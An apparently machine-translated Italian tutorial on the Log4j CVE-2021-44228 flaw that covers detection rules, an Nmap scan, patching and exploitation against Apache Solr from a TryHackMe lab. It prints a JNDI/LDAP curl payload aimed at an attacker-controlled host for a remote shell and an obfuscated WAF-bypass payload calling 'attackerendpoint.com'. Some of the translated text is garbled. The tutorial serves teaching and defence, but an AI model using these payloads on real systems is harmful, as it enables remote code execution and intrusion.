Abbiamo dimostrato il rilevamento e la scoperta della recente vulnerabilità CVE-2021-44228 di Apache Log4j oltre allo sfruttamento, alla mitigazione e all'applicazione di patch. Abbiamo anche spiegato come applicare patch e mitigare la vulnerabilità Log4j utilizzando le linee guida Apache appena rilasciate. Abbiamo utilizzato il materiale da Prova HackMe Log4j spazio per dimostrare Log4j su Apache Solar.

Versioni interessate: Apache Log4j2 <2.15.0

Log4j ha un impatto negativo su molti produttori e componenti tra cui Google e Apple. Puoi trovare l'elenco completo Qui

Ottieni le note sul certificato OSCP

 

Come rilevare la vulnerabilità Log4j

Log4j può essere rilevato eseguendo una scansione regolare sulla rete che esegue componenti utilizzando Java. Esistono molti modi per rilevare e scoprire se la tua rete è vulnerabile a Log4j.

È possibile utilizzare questa query di ricerca per cercare qualsiasi payload contenente una ricerca JNDI indice=* ${jndi:*}

  • Utilizzo delle regole Suricate

L'esempio è sotto

alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possibile richiesta Apache Log4J RCE osservata (CVE-2021-44228)”; flow:established, to_server; content:”${jndi:ldap:// ”; fast_pattern:only; flowbits:set, fox.apachelog4j.rce; soglia di tipo, traccia per_dst, conteggio 1, secondi 3600 classtype:web-application-attack:3; /www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); metadati: CVE 2021-44228; creato_al 2021-12-10; metadati:ids suricata sid:21003726 rev:1;)

  • Confrontando gli hash dei file JAR e Class vulnerabili con l'elenco Qui
  • Utilizzo degli scanner online in pitone O Andare
  • Utilizzando Suite Rutto
  • Utilizzo del motore di scripting Nmap.

Un esempio di utilizzo di Nmap per rilevare Log4j è il comando seguente

nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org $PWD: è la directory in cui memorizzi gli script nmap

È importante leggere dnslog.cn dopo aver terminato la scansione per determinare la vulnerabilità. L'output di esempio è riportato di seguito grazie a

nmap -T4 -v --script=$PWD/ scanme.nmap.org Avvio di Nmap 7.92 ( https://nmap.org ) il 15-12-2021 12:37 CET NSE: caricati 5 script per la scansione. NSE: prescansione dello script. Avvio NSE alle 12:37 NSE completato alle 12:37, sono trascorsi 0,53 secondi Risultati dello script di pre-scansione: | dnslog-cn: | Dominio: 2t722h.dnslog.cn |_ Recupera manualmente: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php Avvio scansione ping alle 12:37 Scansione scanme.nmap.org (45.33.32.156) [2 porte] Scansione Ping completata alle 12:37, trascorsi 0,18 s (1 host totale) Avvio della risoluzione DNS parallela di 1 host. alle 12:37 Completata la risoluzione DNS parallela di 1 host. alle 12:37, sono trascorsi 1,18 s Avvio della scansione della connessione in corso alle 12:37 Scansione in corso di scanme.nmap.org (45.33.32.156) [1000 porte] Rilevata porta aperta 80/tcp su 45.33.32.156 Rilevata porta aperta 53/tcp su 45.33.32.156 Rilevata porta aperta 22/tcp su 45.33.32.156 Statistiche: 0:00:23 trascorso; 0 host completati (1 in alto), 1 in fase di Connect Scan. Tempi di Connect Scan: Circa 56.00% completati; ETC: 12:37 (0:00:16 rimanenti) Rilevata porta aperta 9929/tcp su 45.33.32.156 Rilevata porta aperta 31337/tcp su 45.33.32.156 Scansione di connessione completata alle 12:37, 37.06 s trascorsi (1000 porte totali) NSE : Scansione script 45.33.32.156. Avvio NSE alle 12:37 NSE completato alle 12:37, sono trascorsi 6,19 secondi Rapporto di scansione Nmap per scanme.nmap.org (45.33.32.156) L'host è attivo (latenza 0,18 secondi). Non mostrato: 995 porte TCP chiuse (conn-rifiutata) PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 9929/tcp open nping-echo 31337/tcp open Elite Host risultati script: | dnslog-cn: | Elenco degli host che hanno risposto: [] | Recupera manualmente: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Se l'elenco non è vuoto, controlla gli host poiché sono potenzialmente vulnerabili NSE: Script Post-scanning. Avvio NSE alle 12:37 NSE completato alle 12:37, sono trascorsi 0,50 secondi Risultati dello script post-scansione: | dnslog-cn: | Elenco degli host che hanno risposto: [] | Recupera manualmente: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Se l'elenco non è vuoto, controlla gli host poiché sono potenzialmente vulnerabili Leggi i file di dati da: /usr/local/bin/ ../share/nmap Nmap completato: 1 indirizzo IP (1 host attivo) scansionato in 46,11 secondi

Come sfruttare la vulnerabilità Log4j

In sintesi, lo sfruttamento della vulnerabilità Log4j si ottiene facendo in modo che l'obiettivo emetta una chiamata LDAP a un server di riferimento LDAP sul tuo terminale. Il server di riferimento LDAP reindirizzerà questa chiamata a un server Web che deve essere in esecuzione sul tuo terminale, il quale servererà un exploit Java che, una volta eseguito sulla destinazione, otterrà l'accesso alla shell dell'aggressore sulla destinazione.

Di seguito sono riportati i payload che puoi aggiungere alle tue richieste http.

curl 'http://target-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://your-ip:1389/Log4j\}'

Il payload sopra presuppone che tu stia testando Apache solr. Se stai testando un'altra linea di prodotti Apache devi modificare il percorso dell'URL ma la parte del payload rimane la stessa.

Come bypassare i firewall delle applicazioni Web

Se desideri testare i tuoi controlli di sicurezza esistenti rispetto a Log4j, puoi codificare il tuo payload Log4j come il payload seguente

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}

Come mitigare e applicare patch alla vulnerabilità Log4j

La mitigazione della vulnerabilità Log4j può essere ottenuta aggiungendo due proprietà di sistema che disabilitano le ricerche JNDI. Imposta in particolare le seguenti proprietà su TRUE

log4j2.formatMsgNoLookups
LOG4J_FORMAT_MSG_NO_LOOKUPS

Per applicare una patch alla vulnerabilità Log4j, aggiornare alla versione 2.16.0. Sostituisci i file jar principali con i file jar esistenti sul tuo sistema. Visita Pagina di download di Apache per recuperare l'ultima versione di Log4j.

Per maggiori dettagli su quanto sopra, guarda i video tutorial qui sotto

https://www.youtube.com/watch?v=Zf2dZkaeiKE

https://www.youtube.com/watch?v=5Icz-YWhQpk

https://www.youtube.com/watch?v=5Icz-YWhQpk
Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli